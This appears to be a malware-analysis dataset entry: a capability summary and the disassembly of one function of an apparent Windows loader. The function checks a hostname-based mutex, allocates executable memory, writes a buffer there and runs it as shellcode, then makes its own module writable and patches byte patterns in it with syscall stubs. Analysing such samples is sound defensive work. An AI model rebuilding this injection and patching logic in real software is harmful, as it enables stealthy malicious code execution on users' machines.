Function at 0x10001260
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Enumerate process modules
Execute shellcode via indirect call
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x15c]
mov dword [esp + 0x34], 0x104
push 0
push eax
call fcn.10002530
add esp, 0xc
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
mov cl, byte [eax + str.aefd_]
test cl, cl
je 0x100012c5
mov byte [esp + eax + 0x48], cl
inc eax
cmp eax, 5
jb 0x100012b1
mov byte [esp + eax + 0x48], 0
lea eax, [esp + 0x48]
cmp byte [esp + 0x48], 0
je 0x100012db
inc eax
cmp byte [eax], 0
jne 0x100012d5
mov cl, byte [esp + 0x158]
lea edx, [esp + 0x158]
sub edx, eax
nop dword [eax + eax]
mov byte [eax], cl
lea eax, [eax + 1]
mov cl, byte [edx + eax]
test cl, cl
jne 0x100012f0
mov byte [eax], cl
lea eax, [esp + 0x48]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10001509
push str.msvcrt.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10001347
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.10001538
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call ebx
mov edi, eax
call fcn.10001000
push 0x40
push 0x3000
push 0x800
push 0
push edi
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10001509
push 0
push 0x800
push dword [esp + 0x38]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001509
call esi
mov dword [esp + 0x38], 0x7a000074
mov dword [esp + 0x3c], 0x7a000074
mov dword [esp + 0x40], 0x9090050f
mov dword [esp + 0x44], 0xcccc90c3
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push 0
push 0
push ebx
call esi
test eax, eax
je 0x10001520
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10001520
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x10001520
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x24]
push edi
push ebx
call esi
test eax, eax
je 0x10001520
mov esi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0xc
lea eax, [esp + 0x28]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov ecx, dword [esp + 0x24]
xor esi, esi
mov ebx, dword [esp + 0x28]
mov eax, ecx
cdq
mov dword [esp + 0xc], eax
lea eax, [esp + 0x34]
push eax
push 0x40
push ebx
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test ebx, ebx
je 0x10001520
xorps xmm0, xmm0
push 0x20
movlpd qword [esp + 0x1c], xmm0
call fcn.10004801
add esp, 4
mov ecx, eax
add ebx, 0xfffffff8
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], ebx
adc esi, 0xffffffff
mov dword [esp + 0x10], esi
test esi, esi
jb 0x100014ea
ja 0x1000147d
test ebx, ebx
je 0x100014ea
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x30]
push eax
add esi, 1
push 8
adc edi, 0
add ebx, esi
push ecx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10001520
cmp dword [esp + 0x30], 8
mov ecx, dword [esp + 0x20]
jne 0x100014dc
lea edx, [esp + 0x38]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x100014dc
mov eax, dword [edx + 4]
cmp eax, dword [ecx + 4]
jne 0x100014dc
lea eax, [esp + 0x30]
push eax
push 8
lea eax, [esp + 0x48]
push eax
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x20]
cmp edi, dword [esp + 0x10]
jb 0x10001485
ja 0x100014ea
cmp esi, dword [esp + 0x14]
jb 0x10001485
push ecx
call fcn.100047e6
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
nop dword [eax]
push 0x186a0
call esi
jmp 0x10001500
mov ecx, dword [esp + 0x264]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001538
mov esp, ebp
pop ebp
ret
push 1
call fcn.100047d0
int3